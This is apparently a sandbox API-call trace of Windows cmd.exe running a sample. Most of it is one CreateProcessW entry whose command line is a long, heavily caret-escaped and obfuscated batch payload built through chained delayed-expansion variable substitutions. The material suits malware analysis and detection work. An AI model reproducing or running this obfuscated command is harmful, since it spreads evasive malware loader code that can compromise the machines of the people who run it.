^$^'=^!^_") returned 7988
	[0056.896] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.896] GetFileType (hFile=0x7) returned 0x2
	[0056.896] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0056.896] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2afa58 | out: lpMode=0x2afa58) returned 1
	[0056.896] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.896] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x1f34, lpNumberOfCharsWritten=0x2afa98, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x2afa98*=0x1f34) returned 1
	[0056.901] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2afac8 | out: _Buffer="\r\n") returned 2
	[0056.901] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.901] GetFileType (hFile=0x7) returned 0x2
	[0056.901] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0056.901] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2afa58 | out: lpMode=0x2afa58) returned 1
	[0056.902] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.902] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2afa98, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x2afa98*=0x2) returned 1
	[0056.902] GetConsoleTitleW (in: lpConsoleTitle=0x2af7f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0056.902] _wcsicmp (_String1="Cmd", _String2="DIR") returned -1
	[0056.902] _wcsicmp (_String1="Cmd", _String2="ERASE") returned -2
	[0056.902] _wcsicmp (_String1="Cmd", _String2="DEL") returned -1
	[0056.903] _wcsicmp (_String1="Cmd", _String2="TYPE") returned -17
	[0056.903] _wcsicmp (_String1="Cmd", _String2="COPY") returned -2
	[0056.903] _wcsicmp (_String1="Cmd", _String2="CD") returned 9
	[0056.903] _wcsicmp (_String1="Cmd", _String2="CHDIR") returned 5
	[0056.903] _wcsicmp (_String1="Cmd", _String2="RENAME") returned -15
	[0056.903] _wcsicmp (_String1="Cmd", _String2="REN") returned -15
	[0056.903] _wcsicmp (_String1="Cmd", _String2="ECHO") returned -2
	[0056.903] _wcsicmp (_String1="Cmd", _String2="SET") returned -16
	[0056.903] _wcsicmp (_String1="Cmd", _String2="PAUSE") returned -13
	[0056.903] _wcsicmp (_String1="Cmd", _String2="DATE") returned -1
	[0056.903] _wcsicmp (_String1="Cmd", _String2="TIME") returned -17
	[0056.903] _wcsicmp (_String1="Cmd", _String2="PROMPT") returned -13
	[0056.903] _wcsicmp (_String1="Cmd", _String2="MD") returned -10
	[0056.903] _wcsicmp (_String1="Cmd", _String2="MKDIR") returned -10
	[0056.903] _wcsicmp (_String1="Cmd", _String2="RD") returned -15
	[0056.903] _wcsicmp (_String1="Cmd", _String2="RMDIR") returned -15
	[0056.903] _wcsicmp (_String1="Cmd", _String2="PATH") returned -13
	[0056.903] _wcsicmp (_String1="Cmd", _String2="GOTO") returned -4
	[0056.903] _wcsicmp (_String1="Cmd", _String2="SHIFT") returned -16
	[0056.903] _wcsicmp (_String1="Cmd", _String2="CLS") returned 1
	[0056.903] _wcsicmp (_String1="Cmd", _String2="CALL") returned 12
	[0056.903] _wcsicmp (_String1="Cmd", _String2="VERIFY") returned -19
	[0056.903] _wcsicmp (_String1="Cmd", _String2="VER") returned -19
	[0056.903] _wcsicmp (_String1="Cmd", _String2="VOL") returned -19
	[0056.903] _wcsicmp (_String1="Cmd", _String2="EXIT") returned -2
	[0056.903] _wcsicmp (_String1="Cmd", _String2="SETLOCAL") returned -16
	[0056.903] _wcsicmp (_String1="Cmd", _String2="ENDLOCAL") returned -2
	[0056.903] _wcsicmp (_String1="Cmd", _String2="TITLE") returned -17
	[0056.903] _wcsicmp (_String1="Cmd", _String2="START") returned -16
	[0056.903] _wcsicmp (_String1="Cmd", _String2="DPATH") returned -1
	[0056.903] _wcsicmp (_String1="Cmd", _String2="KEYS") returned -8
	[0056.903] _wcsicmp (_String1="Cmd", _String2="MOVE") returned -10
	[0056.903] _wcsicmp (_String1="Cmd", _String2="PUSHD") returned -13
	[0056.903] _wcsicmp (_String1="Cmd", _String2="POPD") returned -13
	[0056.904] _wcsicmp (_String1="Cmd", _String2="ASSOC") returned 2
	[0056.904] _wcsicmp (_String1="Cmd", _String2="FTYPE") returned -3
	[0056.904] _wcsicmp (_String1="Cmd", _String2="BREAK") returned 1
	[0056.904] _wcsicmp (_String1="Cmd", _String2="COLOR") returned -2
	[0056.904] _wcsicmp (_String1="Cmd", _String2="MKLINK") returned -10
	[0056.904] _wcsicmp (_String1="Cmd", _String2="DIR") returned -1
	[0056.904] _wcsicmp (_String1="Cmd", _String2="ERASE") returned -2
	[0056.904] _wcsicmp (_String1="Cmd", _String2="DEL") returned -1
	[0056.904] _wcsicmp (_String1="Cmd", _String2="TYPE") returned -17
	[0056.904] _wcsicmp (_String1="Cmd", _String2="COPY") returned -2
	[0056.904] _wcsicmp (_String1="Cmd", _String2="CD") returned 9
	[0056.904] _wcsicmp (_String1="Cmd", _String2="CHDIR") returned 5
	[0056.904] _wcsicmp (_String1="Cmd", _String2="RENAME") returned -15
	[0056.904] _wcsicmp (_String1="Cmd", _String2="REN") returned -15
	[0056.904] _wcsicmp (_String1="Cmd", _String2="ECHO") returned -2
	[0056.904] _wcsicmp (_String1="Cmd", _String2="SET") returned -16
	[0056.904] _wcsicmp (_String1="Cmd", _String2="PAUSE") returned -13
	[0056.904] _wcsicmp (_String1="Cmd", _String2="DATE") returned -1
	[0056.904] _wcsicmp (_String1="Cmd", _String2="TIME") returned -17
	[0056.904] _wcsicmp (_String1="Cmd", _String2="PROMPT") returned -13
	[0056.904] _wcsicmp (_String1="Cmd", _String2="MD") returned -10
	[0056.904] _wcsicmp (_String1="Cmd", _String2="MKDIR") returned -10
	[0056.904] _wcsicmp (_String1="Cmd", _String2="RD") returned -15
	[0056.904] _wcsicmp (_String1="Cmd", _String2="RMDIR") returned -15
	[0056.904] _wcsicmp (_String1="Cmd", _String2="PATH") returned -13
	[0056.904] _wcsicmp (_String1="Cmd", _String2="GOTO") returned -4
	[0056.904] _wcsicmp (_String1="Cmd", _String2="SHIFT") returned -16
	[0056.904] _wcsicmp (_String1="Cmd", _String2="CLS") returned 1
	[0056.904] _wcsicmp (_String1="Cmd", _String2="CALL") returned 12
	[0056.904] _wcsicmp (_String1="Cmd", _String2="VERIFY") returned -19
	[0056.904] _wcsicmp (_String1="Cmd", _String2="VER") returned -19
	[0056.904] _wcsicmp (_String1="Cmd", _String2="VOL") returned -19
	[0056.904] _wcsicmp (_String1="Cmd", _String2="EXIT") returned -2
	[0056.904] _wcsicmp (_String1="Cmd", _String2="SETLOCAL") returned -16
	[0056.905] _wcsicmp (_String1="Cmd", _String2="ENDLOCAL") returned -2
	[0056.905] _wcsicmp (_String1="Cmd", _String2="TITLE") returned -17
	[0056.905] _wcsicmp (_String1="Cmd", _String2="START") returned -16
	[0056.905] _wcsicmp (_String1="Cmd", _String2="DPATH") returned -1
	[0056.905] _wcsicmp (_String1="Cmd", _String2="KEYS") returned -8
	[0056.905] _wcsicmp (_String1="Cmd", _String2="MOVE") returned -10
	[0056.905] _wcsicmp (_String1="Cmd", _String2="PUSHD") returned -13
	[0056.905] _wcsicmp (_String1="Cmd", _String2="POPD") returned -13
	[0056.905] _wcsicmp (_String1="Cmd", _String2="ASSOC") returned 2
	[0056.905] _wcsicmp (_String1="Cmd", _String2="FTYPE") returned -3
	[0056.905] _wcsicmp (_String1="Cmd", _String2="BREAK") returned 1
	[0056.905] _wcsicmp (_String1="Cmd", _String2="COLOR") returned -2
	[0056.905] _wcsicmp (_String1="Cmd", _String2="MKLINK") returned -10
	[0056.905] _wcsicmp (_String1="Cmd", _String2="FOR") returned -3
	[0056.905] _wcsicmp (_String1="Cmd", _String2="IF") returned -6
	[0056.905] _wcsicmp (_String1="Cmd", _String2="REM") returned -15
	[0056.905] _wcsnicmp (_String1="Cmd", _String2="cmd ", _MaxCount=0x4) returned -32
	[0056.905] SetErrorMode (uMode=0x0) returned 0x8001
	[0056.905] SetErrorMode (uMode=0x1) returned 0x0
	[0056.905] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3d1330, lpFilePart=0x2af080 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x2af080*="Desktop") returned 0x19
	[0056.905] SetErrorMode (uMode=0x8001) returned 0x1
	[0056.906] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0056.906] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0056.909] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.910] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="Cmd ,  ;  ; ; pPuxarv/VCsv40blbkn   ,  cw8f/r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x2af130*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="Cmd ,  ;  ; ; pPuxarv/VCsv40blbkn   ,  cw8f/r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ 